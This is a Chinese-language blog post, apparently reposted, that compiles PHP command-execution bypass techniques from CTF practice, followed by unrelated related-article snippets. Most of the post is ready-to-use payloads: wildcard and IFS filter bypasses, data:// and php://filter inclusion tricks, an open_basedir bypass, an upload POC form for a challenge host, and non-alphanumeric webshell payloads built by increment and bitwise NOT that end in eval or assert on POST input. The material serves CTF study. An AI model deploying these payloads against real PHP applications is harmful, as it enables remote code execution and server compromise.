命令執行總結

之前做了一大堆的題目 都沒有進行總結 現在來總結一下命令執行 我遇到的內容

這里我打算按照過濾進行總結

依據我做過的題目

過濾system

下面是一些常見的命令執行內容

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引號 同shell_exec() 

過濾cat

有的題目不讓我們讀取

more:一頁一頁的顯示檔案內容less:與 more 類似 head:查看頭幾行tac:從最后一行開始顯示,可以看出 tac 是cat 的反向顯示tail:查看尾幾行nl:顯示的時候,順便輸出行號od:以二進制的方式讀取檔案內容vi:一種編輯器,這個也可以查看vim:一種編輯器,這個也可以查看sort:可以查看paste:可以輸出內容

如果這些也過濾 但是題目是直接給我們一個小馬

/bin/?at flag.txt下面是通過base64返回如果特別極端 過濾數字/???/????64 ????.???我們可以通過base64返回內容或者使用 /???/???/????2 ????.???/usr/bin/bzip2這個會進行壓縮 然后我們訪問 /flag.php.bz2 即可

可以通過這種方式執行 bin下存放著我們許多的命令

過濾空格

${IFS}
$IFS$9
<
<>
%0a
%09

通過__FILE__獲取

__FILE__ 表示當前文件
完整路徑和文件名dirname()
獲取一個網站路徑的目錄名scandir()讀取目錄的文件 然后作為一個數組print_r()打印數組內容localeconv()可以獲取到 當前的數學符號current()指定第一個array_reverse()倒序輸出如果print_r被過濾可以使用highlight_file
next()
指向當前指針的下一位end()
指向數組最后一位reset()
指向數組第一個prev()
指針往回走一位each()
返回當前指針的值 并且指針向前走一位

通過seesion執行命令

print_r(session_id(session_start()))Cookie: PHPSESSID=flag.php

通過請求頭執行命令

system(current(getallheaders()));

通過構造新參數執行命令

很多時候 一些讀取什么的全都沒了 我們無法實現讀取文件

這個時候 我們可以在小馬中再加一個小馬實現其他參數的注入

code=include$_GET[1]?>&1=system('ls')code=show_source(get_defined_vars()["_POST"]["a"])&a=/flaggggggg.txtcode=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.phpcode=require$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

協議讀取

如果題目使用了include類型

data://text/plain,<?php system('tac fla?.php');?>data://text/plain;bvase64,base64加密后的命令

我們就可以使用偽協議來執行命令

繞過open_basedr

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>

短開表達式

data://text/plain,<?=system('tac fla?.?hp');?>

通過POST文件 包含/tmp/臨時文件

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST數據包POC</title>
</head>
<body>
<form action="http://cd3eb1d9-31ec-4644-b057-c38153f6a911.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--鏈接是當前打開的題目鏈接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>

這里向網站發包

然后通過正則匹配獲取到文件

?c=.+/???/????????[@-[]

上傳文件的內容如圖所示

只過濾數字 getshell

${_} 返回上一條命令$(())echo $((${_}))   0echo $((~${_}))  -1echo $(($((~${_}))$((~${_}))))  -2echo $(($((~${_}))$((~${_}))$((~${_}))))   -3最后拼湊出來了數字后使用一個取反 將 負數變為正數echo $((~$(($((~${_}))$((~${_}))$((~${_})))))) 2取反會小一位 然后再加一位即可echo $((~$(($((~${_}))$((~${_}))$((~${_}))$((~${_}))))))  3

高亮文件

highlight_file()show_source()var_dump()var_export()配合include

無數字字母RCE

不能加參數

exp = ""
def urlbm(s):ss = ""for each in s:ss += "%" + str(hex(255 - ord(each)))[2:]return f"[~{ss}][!%FF]("
while True:fun = input("Firebasky>: ").strip(")").split("(")exp = ''for each in fun[:-1]:exp += urlbm(each)print(exp)exp += ")" * (len(fun) - 1) + ";"print(exp)

不能加參數的rce

eval(hex2bin(session_id(session_start())));print_r(current(get_defined_vars()));&b=phpinfo();eval(next(getallheaders()));var_dump(getenv(phpinfo()));print_r(scandir(dirname(getcwd()))); //查看上一級目錄的文件print_r(scandir(next(scandir(getcwd()))));//查看上一級目錄的文件

自增

如果過濾取反這些符號 就考慮自增

直接payload

assert($_POST[_]);

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

然后通過url編碼

%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b%24_%3d%24_%5b'!'%3d%3d'%40'%5d%3b%24___%3d%24_%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24____%3d'_'%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24_%3d%24%24____%3b%24___(%24_%5b_%5d)%3b

取反

<?php$c='phpinfo';
$d=urlencode(~$c);
echo $d;
?>

?payload

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);eval($_POST[1])

現在目前學到的RCE 就總結在這里了 如果后面還存在 就繼續加進去

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/166529.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/166529.shtml
英文地址,請注明出處:http://en.pswp.cn/news/166529.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

大語言模型概述(三):基于亞馬遜云科技的研究分析與實踐

上期介紹了基于亞馬遜云科技的大語言模型相關研究方向&#xff0c;以及大語言模型的訓練和構建優化。本期將介紹大語言模型訓練在亞馬遜云科技上的最佳實踐。 大語言模型訓練在亞馬遜云科技上的最佳實踐 本章節內容&#xff0c;將重點關注大語言模型在亞馬遜云科技上的最佳訓…

解決Chrome瀏覽器無法啟動,因為應用程序的并行配置不正確

目錄 現象 方法1 方法2 附帶&#xff1a;書簽路徑 一次比較奇怪的問題&#xff0c;花了一些時間&#xff0c;記錄下來。 現象 進到本機默認安裝路徑&#xff1a; C:\Users\你的用戶名\AppData\Local\Google\Chrome\Application 下面會有個版本號的目錄&#xff0c;如我的…

跨地區企業組網方案對比與推薦

跨地區的企業&#xff0c;需要在不同的辦公室之間實現內部通信來進行業務協作。然而&#xff0c;在不同的地方建立局域網并將它們連接起來是一個棘手的問題。傳統的企業組網方案可能會面臨各種挑戰&#xff0c;包括網絡延遲、數據安全性、維護困難等等。 常見的組網方案有&…

快手ConnectionError

因為運行的程序被中斷導致 top然后查看站用處內存高的accelerate kill進程號 9回車

linux基礎5:linux進程1(馮諾依曼體系結構+os管理+進程狀態1)

馮諾依曼體系結構os管理 一.馮諾依曼體系結構&#xff1a;1.簡單介紹&#xff08;準備一&#xff09;2.場景&#xff1a;1.程序的運行&#xff1a;2.登錄qq發送消息&#xff1a; 3.為什么需要內存&#xff1a;1.簡單的引入&#xff1a;2.計算機存儲體系&#xff1a;3.內存的意義…

微服務知識小結

1. SOA、分布式、微服務之間有什么關系和區別&#xff1f; 1.分布式架構指將單體架構中的各個部分拆分&#xff0c;然后部署到不同的機器或進程中去&#xff0c;SOA和微服務基本上都是分布式架構的 2. SOA是一種面向服務的架構&#xff0c;系統的所有服務都注冊在總線上&#…

讓工作效率提升10倍:十大AIGC工具評測【建議收藏】

AI技術的普及已經在近年來不斷增長。這種技術已經改變了我們與電腦的互動方式&#xff0c;讓我們能夠更高效、更自然地完成任務。本文將展示10個基于ChatGPT、GPT-3.5和 GPT-4.0 AI模型構建的最強大的資源&#xff0c;使您更容易充分利用它們的潛力。因此&#xff0c;如果您想利…

詳解深度學習中的圖神經網絡GNN

引言 圖神經網絡GNN是深度學習的一個分支。 深度學習的四個分支對應了四種常見的數據格式&#xff0c;前饋神經網絡FNN處理表格數據&#xff0c;表格數據可以是特征向量&#xff0c;卷積神經網絡CNN處理圖像數據&#xff0c;循環神經網絡RNN處理時序數據&#xff0c;圖神經網…

android的canvas的clipRegion廢棄替代代碼

由于clipRegion的一些問題&#xff0c;導致他被廢棄了&#xff0c;但又有時候會用到&#xff0c;所以寫了一個工具類來替代它 代碼如下 package com.example;import android.graphics.Canvas; import android.graphics.Paint; import android.graphics.Path; import android.g…

c++|類和對象(上)

目錄 一、面向過程和面向對象初步認識 二、類的引入和定義 2.1類的引入 2.2類的定義 三、類的訪問限定符及封裝 3.1訪問限定符 3.2封裝 四、類的作用域 五、類的實例化 六、類的對象大小的計算 6.1如何計算對象的大小 6.2類對象的存儲方式 七、類成員函數的thi…

【Docker】從零開始:7.Docker命令:容器命令及參數詳解

【Docker】從零開始&#xff1a;7.幫助啟動類命令 一、幫助啟動類命令啟動Docker停止Docker重啟Docker查看Docker狀態開機啟動查看docker概要信息查看docker總體幫助文檔查看docker命令幫助文檔 二、鏡像命令列出本地主機上的鏡像運行示例返回說明操作參數 搜索倉庫里的某個鏡像…

Python-Django的“日志功能-日志模塊(logging模塊)-日志輸出”的功能詳解

01-綜述 可以使用Python內置的logging模塊來實現Django項目的日志記錄。 所以與其說這篇文章在講Django的“日志功能-日志模塊-日志輸出”&#xff0c;不如說是在講Pthon的“日志功能-日志模塊-日志輸出”&#xff0c;即Python的logging模塊。 下面用一個實例來進行講解。 …

2023年亞太杯數學建模A題水果采摘機器人的圖像識別功能(免費思路)

中國是世界上最大的蘋果生產國&#xff0c;年產量約為 3500 萬噸。同時&#xff0c;中國也是世界上最大的蘋果出口國&#xff0c;世界上每兩個蘋果中就有一個出口到國。世界上每兩個蘋果中就有一個來自中國&#xff0c;中國出口的蘋果占全球出口量的六分之一以上。來自中國。中…

保護服務器免受攻擊:解析攻擊情境與解決之道

在數字化時代&#xff0c;服務器安全問題日益突出&#xff0c;因為它們是企業和個人網絡活動的核心。服務器被攻擊可能引發一系列問題&#xff0c;理解攻擊的不同情境以及采取相應的解決方法變得至關重要。 DDoS 攻擊&#xff08;分布式拒絕服務攻擊&#xff09; 情境&#xff…

基于51單片機超聲波測距汽車避障系統

**單片機設計介紹&#xff0c; 基于51單片機超聲波測距汽車避障系統 文章目錄 一 概要二、功能設計設計思路 三、 軟件設計原理圖 五、 程序六、 文章目錄 一 概要 基于51單片機的超聲波測距汽車避障系統是一種用于幫助汽車避免碰撞和發生事故的設備&#xff0c;以下是一個基本…

Visual Studio 2022安裝教程(千字圖文詳解),手把手帶你安裝運行VS2022以及背景圖設置

VS2022最新最全安裝教程 很高興你打開了這篇博客&#xff0c;接下來我們一起安裝并且使用VS2022吧 文章目錄 VS2022最新最全安裝教程一.官網下載二.安裝啟動三.項目測試1.創建新項目2.選擇我們使用的模板&#xff08;C空項目&#xff09;&#xff0c;繼續沖&#xff01;3.進入…

docker的使用方法

文章目錄 為什么要用dockerdocker安裝docker工作原理docker命令docker搭建練習docker可視化docker鏡像docker容器數據卷DockerFiledocker全流程Docker網絡原理docker composedocker swarm 為什么要用docker 官網&#xff1a;https://www.docker.com文檔地址&#xff1a;https:…

Stream流開發常用場景

一、Stream流 1.將某個集合中的金額字段相加 Bigdecimal amount list.stream().map(TransInfoEntity::getAmount).reduce(BigDecimal::add).orElse(BigDecimal.ZERO); 2.將集合中某兩個字段組合成一個map Map<Long, String> map list.stream().collect(Collectors.t…

ImgUtil.scale會在某些圖片壓縮之后自動旋轉90度

需要的jar依賴&#xff1a; <dependency> <groupId>com.drewnoakes</groupId> <artifactId>metadata-extractor</artifactId> <version>2.16.0</version> <!-- 請檢查最新版本 …